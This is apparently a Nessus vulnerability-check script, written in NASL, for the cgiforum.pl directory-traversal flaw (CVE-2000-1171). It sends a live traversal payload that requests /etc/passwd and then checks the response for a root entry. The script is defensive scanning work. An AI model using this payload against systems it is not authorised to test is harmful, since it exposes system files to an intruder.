#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#

if(description)
{
 script_id(10552);
 script_version ("$Revision$");
 script_cve_id("CVE-2000-1171");
 script_bugtraq_id(1963);
 
 name["english"] = "cgiforum";
 name["francais"] = "cgiforum";
 script_name(english:name["english"], francais:name["francais"]);
 
 desc["english"] = "The 'cgiforum.pl' cgi is installed. This CGI has
a well known security flaw that lets anyone read arbitrary
files on the remote host.

Solution : remove it from /cgi-bin.

Risk factor : Serious";


 desc["francais"] = "Le cgi 'cgiforum.pl' est installé. Celui-ci possède
un problème de sécurité bien connu qui permet à n'importe qui de lire
des fichiers arbitraires sur l'hote distant

Solution : retirez-le de /cgi-bin.

Facteur de risque : Sérieux";


 script_description(english:desc["english"], francais:desc["francais"]);
 
 summary["english"] = "Checks for the presence of /cgi-bin/cgiforum.pl";
 summary["francais"] = "Vérifie la présence de /cgi-bin/cgiforum.pl";
 
 script_summary(english:summary["english"], francais:summary["francais"]);
 
 script_category(ACT_GATHER_INFO);
 
 
 script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
		francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
 family["english"] = "CGI abuses";
 family["francais"] = "Abus de CGI";
 script_family(english:family["english"], francais:family["francais"]);
 script_dependencie("find_service.nes", "no404.nasl");
 script_require_ports("Services/www", 80);
 exit(0);
}

#
# The script code starts here
#

include("http_func.inc");
include("http_keepalive.inc");

port = get_kb_item("Services/www");
if(!port) port = 80;

if(!get_port_state(port))exit(0);

foreach dir (cgi_dirs())
{
 req = string(dir,"/cgiforum.pl?thesection=../../../../../../../../etc/passwd%00");
 req = http_get(item:req, port:port);
 buf = http_keepalive_send_recv(port:port, data:req);
 if( buf == NULL ) exit(0);

 if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf)){
 	security_hole(port);
	exit(0);
	}
}